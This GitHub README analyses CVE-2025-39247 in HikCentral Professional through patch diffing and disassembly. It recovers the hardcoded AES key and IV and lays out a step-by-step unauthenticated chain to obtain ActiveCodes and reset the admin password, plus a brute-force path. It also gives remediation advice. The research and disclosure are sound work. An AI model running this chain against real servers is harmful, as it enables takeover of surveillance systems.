Sita-Technologies/CVE-2025-39247
GitHub: Sita-Technologies/CVE-2025-39247
Stars: 0 | Forks: 0
# CVE-2025-39247
- **Target:** HikCentral Professional (HCMP, central VMS server)
- **CVE:** CVE-2025-39247 — Access Control Vulnerability
- **CVSS 3.1:** 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
- **Affected:** V2.3.1 – V2.6.2 and V3.0.0
- **Fixed:** V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247
- **Disclosed:** 2025-08-28
- **Analysis date:** 2026-05-21
## 1. Open-source intelligence pass
Before downloading anything, what's already public:
| Source | What it tells us |
|---|---|
| Hikvision security advisory | "Missing authentication checks on API endpoints", advice to upgrade to V2.6.3 / V3.0.1 |
| NVD CVE-2025-39247 | CVSS metrics; vector is network, no auth, scope-changed, confidentiality-high |
| Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews summaries | All restate the advisory; **no technical detail, no PoC, no affected endpoint named** |
| GitHub PoC aggregators (poc-in-github, 0xMarcio/cve, etc.) | No PoC indexed |
| Forums (ipcamtalk, cctvforum, reddit), torrent indexers | No PoC, no leaked installers; ipcamtalk has a HikCentral usage thread but nothing exploit-related |
So as of analysis date, no public technical write-up exposes the bug. Any reproduction starts from binary diffing.
## 2. Acquisition
### 2.1 Vulnerable installer (V2.6.2 Full Pack)
After CVE-2025-39247 was published the V2.6.2 download page was delisted, but the *file* on the CDN was never purged. The filename can be recovered from a third-party mirror that indexed the page before delisting (FileHorse — published filename and MD5). With that filename, a plain GET to Hikvision's CDN — using only a normal browser User-Agent and a matching `Referer` header — still serves it.
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0" \
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/" \
-O \
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
Result:
- Size: 1,314,043,792 bytes (1.22 GB)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — matches the FileHorse-published value, confirming the genuine Hikvision-signed installer (not a third-party rebundle)
- CDN response headers: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (≈ 29 days in the Tencent EdgeOne edge cache without eviction)
**Side observation worth reporting to Hikvision PSIRT:** the "delisting" of the V2.6.2 page is cosmetic. The orphaned file is reachable on the CDN with no auth and no signed-URL gate. V2.5.1 and V2.6.0 Full Packs respond the same way.
### 2.2 Patched installer (V2.6.3 Base Pack)
Currently linked from the V2.6.3 download page; same retrieval method:
- Size: 932,813,264 bytes (890 MB)
- Last-Modified: 2025-08-28 (CVE disclosure date)
### 2.3 Fix-Pack
Still linked from the V2.6.2 download page (Hikvision want users to apply it):
- Size: 32,599,504 bytes (31 MB)
## 3. Static extraction
All three are InstallShield-style PE wrappers. `7z` peels them in two passes:
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/
7z x -o./extracted/v263/pe downloads/
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
Both installers expand into roughly two dozen named payload archives. The top-level dirs reveal the architecture:
| Archive | Contents |
|---|---|
| `246/Nginx` + `246/www` | Nginx web tier (the front door) and the SPA web UI |
| `244/bin` | Native C++ service binaries + certs |
| `240` | Bundled PostgreSQL + DB init scripts |
| `238` | Bee* runtime (BeeAgent, BeeGuard, …) |
| `282` | Application services and addons (the bulk of the C++ backend code) |
| `281, 283-284, 396, 398-399, 513, 520, 538-541, 573` | Smaller addons, plugins, upgrade/uninstall stubs |
Crucially, there are **no Java JARs/WARs anywhere**. The backend is C++ on Nginx — important because it tells you up front that any auth flaw will be in compiled binaries, not in WAR/JAR bytecode where decompilation is trivial.
## 4. File-level diff
# Build inventories
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
# Sets: common-path + different MD5 → the patched files
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")}
v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")}
common = set(v262) & set(v263)
changed = [p for p in common if v262[p] != v263[p]]
Result: 239 changed files in common paths. Distribution:
| Bucket | Count | Comment |
|---|---|---|
| `246/www/*.js` (Web UI chunks) | ~200 | Mostly version-bumped asset hashes; ignore |
| `246/Nginx/conf/nginx_location.conf` | **1** | **Single-file Nginx config delta — start here** |
| `246/Nginx*/install.bat` | 6 | Install scripts, unrelated |
| `244/bin/*.{exe,dll}` | 6 | Native binaries (`DistributionFilter.dll`, `FilterChain.dll`, media tools) |
| `282/*.{exe,dll}` | 55 | Application services (the largest cluster — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Postgres rebuild, unrelated |
| `284/hplugin/dahua_plugin/*` | 4 | Vendor SDK refresh (+10.97 MB) — unrelated |
| `284/hplugin/onvif_plugin/*` | 4 | Vendor SDK refresh (+0.99 MB) — unrelated |
| upgrade/uninstall stubs, crash reporters | ~30 | Same-size PE timestamp rebuilds, ignore |
After filtering out vendor-SDK refresh, build-system timestamp drift, and pure cosmetic asset bumps, the *actual* security-relevant deltas reduce to:
- One Nginx config file
- A small number of C++ binaries in `282/` (most prominently `platform.dll`, the HCMP backend service, +57 KB)
## 5. The Nginx diff: free-of-charge bug location
`diff -u nginx_location.conf` between V2.6.2 and V2.6.3 produces exactly one hunk: a brand-new `location =` block in V2.6.3.
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
That single 21-line addition is the entire CVE-2025-39247 fix at the front-door tier, and it tells you everything:
- **Endpoint:** `PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword`
- **Bug class:** in V2.6.2 the request falls through the catch-all `/ISAPI/Bumblebee/Platform/V0/*` proxy directive to the backend with **no remote-address restriction** and **no Nginx-level authentication check**.
- **Backend semantics:** the handler exists to set the initial default-admin password during install (i.e., trusts the caller is the local installer); the fix makes that trust explicit.
The Chinese comment matters: it translates literally to "*Forbid password reset from non-127.0.0.1/::1*".
## 6. Request shape from the Web UI
The Web UI JavaScript (minified, in `246/www/Portal/*.js`) calls the endpoint as:
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site:
changeDefaultUserPassword(n.SID, {
UserName: form.userName, // "admin"
Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15
ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "",
QuestionList: questionAnswers // [{ID, Answer}, …] or []
}, ...);
// The RSA pubkey comes from another unauthenticated endpoint:
getCrypto: function () {
http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" });
}
// returns: { CryptoKey: , ... }
So even before disassembling anything, the public-facing JS gives you the full wire shape. But it also reveals the awkward part: the request body needs **either a valid `ActiveCode` or correct `QuestionList` answers**. Sending empty values does not work — the backend rejects with one of the documented errors (verified by string-mining `platform.dll`, §7).
So CVE-2025-39247 is **not** "the endpoint is auth-bypass; send empty fields and the password changes". It is "the endpoint *trusts a local-only caller* to already have the right ActiveCode; the bug is that the network-level localhost gate is missing, so any *remote* caller who can *also* supply a valid ActiveCode or QuestionList succeeds." Therefore the real exploit puzzle is: where does the ActiveCode or QuestionList come from?
## 7. Backend handler — string-mining `platform.dll`
`platform.dll` is the HCMP backend service, 46.87 MB in V2.6.2, 46.93 MB in V2.6.3 (+57 KB). All routing strings, log format strings, and C++ RTTI / `__FUNCTION__` strings are present in the clear.
Strings inside `platform.dll` around the handler:
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
Both versions of `platform.dll` contain these strings. So the validation logic exists in V2.6.2 too — `ActiveCode` and `QuestionList` *are* checked.
### 7.1 What is V2.6.3 new in this handler? (defence-in-depth fingerprints)
Strings that exist in V2.6.3 `platform.dll` and *not* in V2.6.2:
# An entirely new C++ class — rate-limit / lockout subsystem:
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime
VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze
..\..\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp
[%s]AddAccountLoginFailCount only admin can lock, but id: %d
# Application-level remote-addr literal:
127.0.0.1
# Literal "admin" appearing twice near the handler:
admin
# Token validation:
VSMPlatform::CCmd::CheckToken
/ResponseStatus/Data/TokenValid
[%s]token = %s, session = %s
# Lockout/throttle response fields:
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber
/ResponseStatus/Data/RetrievePasswordResult/LockRemainTime
/ResponseStatus/Data/RetrievePasswordResult/RemainingType
Translation: V2.6.2 had **no** rate-limit on the `ChangeDefaultUserPassword` validation path. An attacker who supplies a wrong ActiveCode or wrong security-question answers just gets an error and can retry indefinitely. The verify-code format string `%06d` is also in `platform.dll` (along with the SQL schema `verify_code VARCHAR(64)`), confirming the email verify code is a **6-digit decimal**, search-space 10⁶.
This is already a viable exploit (path A): trigger `SendVerifyCode`, brute-force 10⁶ codes inside the expiry window with no lockout. At 1000 req/s mean time-to-success ≈ 8 minutes. But there is a sharper path.
## 8. The pre-auth information-disclosure surface
The endpoint enumeration in `platform.dll` reveals several siblings that look related:
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
None of these is restricted by `nginx_location.conf`; all go through the same default `/ISAPI/Bumblebee/Platform/*` proxy. The handler strings show what they return:
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
So `RetrieveStateInfo(Name=admin)` returns admin's email, whether security-question recovery is configured, whether email recovery is configured, and the remaining lifetime of any in-flight verify code — to anyone, unauthenticated.
`RetrieveStateInfo` is not locked down by the V2.6.3 patch. The information disclosure persists in V2.6.3.
## 9. The license/QR attack surface
Endpoint `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` is striking because its name pairs *License* with *ActiveCode* — and the password-reset handler accepts an `ActiveCode` field too. That's a suspicious overlap of terminology.
Strings reachable from that handler:
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
**Confirmation by V2.6.3 diff:** the format string `License:%s;DZP:%s` exists in V2.6.2 `platform.dll` and is **removed in V2.6.3**. The QR endpoint itself, the `PrivateAESEncrptQRCode` function symbol, and the IV literal (§10) all persist in V2.6.3 — only the leaky plaintext format was excised. That's exactly what you'd expect Hikvision's fix to look like.
## 10. Recovering the AES key and IV by disassembly
This is the work-heavy step. Plan:
1. Find the function `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` in `platform.dll`.
2. Read its setup of key + IV.
3. Either both are literal bytes you can read off, or they're computed — in which case follow the computation.
### 10.1 Locating the function
The error format string `[%s]PrivateAESEncrptQRCode failed! data:%s` lives in `.rdata`. Find its `.rdata` VMA, then scan `.text` for `lea r, [rip + rel32]` instructions that resolve to that VMA. (For 16 MB of `.text` this takes a few seconds with `pefile + capstone` doing a linear walk for the REX.W + 8D + MODRM mod=00 rm=101 pattern.)
The error log is referenced from exactly one instruction at `0x1812553f7`. Walking up to the enclosing function via `.pdata` (the PE x64 unwind table — section header parseable with `pefile`, twelve bytes per RUNTIME_FUNCTION entry: start_RVA, end_RVA, unwind_RVA) gives the outer ISAPI handler `CLicenseISAPIComm::ActiveCodeQRcode` at `0x181254cc0..0x181255919`.
That outer function builds the `"License:%s;DZP:%s"` plaintext string and base64-encodes the result; the actual AES call is in a helper one level down, at `0x18002a397` (resolves via a jmp thunk to a 502-byte function whose RTTI string is `VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode` — confirmed by string xref).
### 10.2 Inside the AES wrapper at `0x1807d33e0`
Disassembling the 502-byte body and listing every `lea r, [rip + rel32]` whose target lands in `.rdata` returns just 5 stringrefs:
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '..\..\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
The first entry is the only 16-byte stringref. That length is suspicious: AES block / key / IV are all 16 bytes for AES-128. The literal `AaBbCcDd1234!@#$` — eight alternating-case letter pairs followed by `1234!@#$` — is also the textbook "developer placeholder constant" shape (similar to the *real* `BAADF00D` / `DEADBEEF` ASCII idioms). At this point a sensible hypothesis is "this is the IV".
That hypothesis is supported by the disassembly context. The instruction sequence around the stringref:
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
So `[rsp+0xe0]` ends up holding the IV bytes, `[rsp+0xa0]` holds 16 bytes built earlier into `[rsp+0xc0]` (the key), and these two buffers are then passed to the OpenSSL wrapper. Confirming the IV recovery is just a matter of cross-checking: V2.6.3's `platform.dll` still contains the literal `AaBbCcDd1234!@#$` at the same offset — Hikvision did not rotate the IV, which is the *correct* cryptographic choice (only the key needs to be secret, the IV needs to be unique-per-message, but a fixed IV is "weak" not "broken" the way a fixed *key* is).
### 10.3 The key build
Immediately above the IV stringref, the wrapper sets up the key with this short sequence:
mov dl, 0x41 ; seed byte = 'A'
lea rcx, [rsp + 0x140] ; this-pointer for a local buffer
call ; → 0x1807d19b0 (599-byte function)
mov [rsp + 0x50], rax
mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced
lea rcx, [rsp + 0xc0]
call ; copy the 16 bytes into the key buffer at [rsp+0xc0]
Then disassembling `0x1807d19b0`: it is a *pure-arithmetic key-derivation function*. It takes one byte as input (the `0x41`), allocates 16 stack bytes, and writes 16 values each computed as `seed + offset_i` for a hardcoded sequence of 16 signed offsets:
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
With seed `0x41` (`'A'`):
| pos | offset | byte | char |
|---|---|---|---|
| 0 | +22 | 0x57 | `W` |
| 1 | +54 | 0x77 | `w` |
| 2 | +23 | 0x58 | `X` |
| 3 | +55 | 0x78 | `x` |
| 4 | +24 | 0x59 | `Y` |
| 5 | +56 | 0x79 | `y` |
| 6 | +25 | 0x5A | `Z` |
| 7 | +57 | 0x7A | `z` |
| 8 | −16 | 0x31 | `1` |
| 9 | −15 | 0x32 | `2` |
| 10 | −14 | 0x33 | `3` |
| 11 | −13 | 0x34 | `4` |
| 12 | −32 | 0x21 | `!` |
| 13 | −1 | 0x40 | `@` |
| 14 | −30 | 0x23 | `#` |
| 15 | −29 | 0x24 | `$` |
### 10.4 Recovered cryptographic material
Algorithm: AES-128-CBC with PKCS7 padding
IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$
KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
Same arithmetic family. Same trailing 8 bytes (`1234!@#$`). Both are binary-embedded constants identical across every V2.6.2 install (and across V2.3.1 .. V2.6.2 and V3.0.0 — they share the QR-encrypt path), so a one-time recovery from one copy of `platform.dll` is enough to decrypt the QR from any vulnerable HCMP server on the network.
## 11. End-to-end chain
The chain splits cleanly into two halves:
- **Halves 1-3** are an unauthenticated **information-disclosure** problem in HCMP. They run against the target with two read-only requests and recover a per-install secret (the License ActiveCode) from a pre-login endpoint.
- **Halves 4-5** are the **takeover** performed by submitting the recovered ActiveCode to HCMP's legitimate "Forgot password" workflow through the normal Web UI. No special HTTP request is needed — the operator clicks through the same form a legitimate user would.
The split matters: it lets the reference PoC be implemented as a pure recon tool with no destructive code path anywhere in it (the UI workflow stays human-in-the-loop).
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=
where = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:
[,...];DZP:"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://: in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code →
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
No brute force, no social engineering, no prior knowledge except the 16-byte KEY+IV pair that's recoverable once from one V2.6.2 `platform.dll` and identical across every install of every vulnerable version. Halves 4-10 are performed manually by the operator through the legitimate UI — there is no automated equivalent in the reference PoC.
Implementation: `poc/cve_2025_39247_poc.py` — a **recon-only** Python script. It performs HALF 1 (two pre-auth read-only POSTs) and then prints the manual recipe (steps 4-10) with the operator's target URL and the recovered ActiveCode(s) filled in. The script contains no code that writes to the target; HALF 2 is performed manually through the Web UI so the tool remains a verification instrument rather than a fire-and-forget weapon.
Run:
python3 poc/cve_2025_39247_poc.py https://:
Two `--qr-*` flags let the script run entirely offline against a captured QR (for analysis without re-hitting a target):
- `--qr-scanned-text ''` — paste the text content of a scanned QR
- `--qr-ciphertext-hex ` — feed pre-extracted base64-decoded AES ciphertext
## 12. What V2.6.3 (and the Fix-Pack) actually changed
| Defence | V2.6.2 | V2.6.3 | Fix-Pack on V2.6.2 |
|---|---|---|---|
| Nginx remote-addr restriction on `ChangeDefaultUserPassword` | absent | **added** | **added** (via InstallShield script in the Fix-Pack EXE — confirmed by the strings `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` inside the Fix-Pack's installer engine) |
| App-level `127.0.0.1` literal check in handler | absent | **added** | not added (Fix-Pack doesn't patch `platform.dll`) |
| Per-account lockout (`CRetrievePwdByQuesFreezeManager`) | absent | **added (admin-only)** | not added |
| `CheckToken` validation step | absent | **added** | not added |
| QR plaintext contains `License:;DZP:...` | YES | **removed** | not changed (Fix-Pack doesn't patch `platform.dll`) |
| QR AES key | recoverable from binary | rotated *or* unused (depends on whether the plaintext-format change rendered the path dead) | rotated via `wbaes_key_dec` + whitebox-AES decryptor in the Fix-Pack |
| QR AES IV | `AaBbCcDd1234!@#$` | unchanged | unchanged |
| `RetrieveStateInfo` info disclosure | leaks | **still leaks** | still leaks |
| `GetSecurityQuestionCommBeforeLogin` | leaks | **still leaks** | still leaks |
| Vulnerable installer reachable on Hikvision CDN | yes | yes | yes |
The Fix-Pack ships an extra moving part the V2.6.3 release doesn't need: a **whitebox-AES decryptor** (`wbext_dec.exe`, source path leaks `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`, uses its own `fixed_iv_16byte` IV literal) plus a **244-byte AES-128-CFB ciphertext** (`wbaes_key_dec`). The decryptor takes the ciphertext blob and produces a new plaintext key, which the Fix-Pack installer writes into HCMP's storage to rotate the binary-embedded QR key on existing V2.6.2 installations. Whitebox-AES is used here purely to make the rotated key inconvenient to lift back out of the patch artefact by inspection — the same defensive technique used by DRM systems.
## 13. Recommended remediation actions (beyond the released patches)
1. **Purge the orphaned installer binaries from the CDN.** `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` still serves HTTP/2 200 with a 29-day-old edge-cache hit. The same is true for V2.6.0, V2.5.1 etc. — every installer in the vulnerable range is still reachable by direct URL. The page-level delisting is cosmetic.
2. **Authenticate `RetrieveStateInfo` and `GetSecurityQuestionCommBeforeLogin`.** Both leak admin email and recovery-configuration metadata to anonymous callers in V2.6.3 as well; neither was touched by the fix.
3. **Stop using ASCII-placeholder constants as cryptographic key material.** `WwXxYyZz1234!@#$` is the kind of value that survives "code review by skim". Replace with per-install random material at first run; if backward compatibility requires a binary-embedded fallback, at minimum derive it from a hash of installation-specific state (machine GUID, install timestamp) so it varies per deployment.
4. **Treat "the IV doesn't need to be secret" as a footgun, not a license.** Keeping the IV literal even after disclosure is mathematically defensible in CBC but produces unnecessary attacker affordance once the diff exposes the rotation as key-only.
5. **For the family of `ChangeDefault*` endpoints**, prefer a Unix-domain-socket / loopback-only listener at the application layer over an Nginx config restriction. A config file is one mis-edit away from re-introducing the bug; a `bind 127.0.0.1` in the C++ service is structurally safer.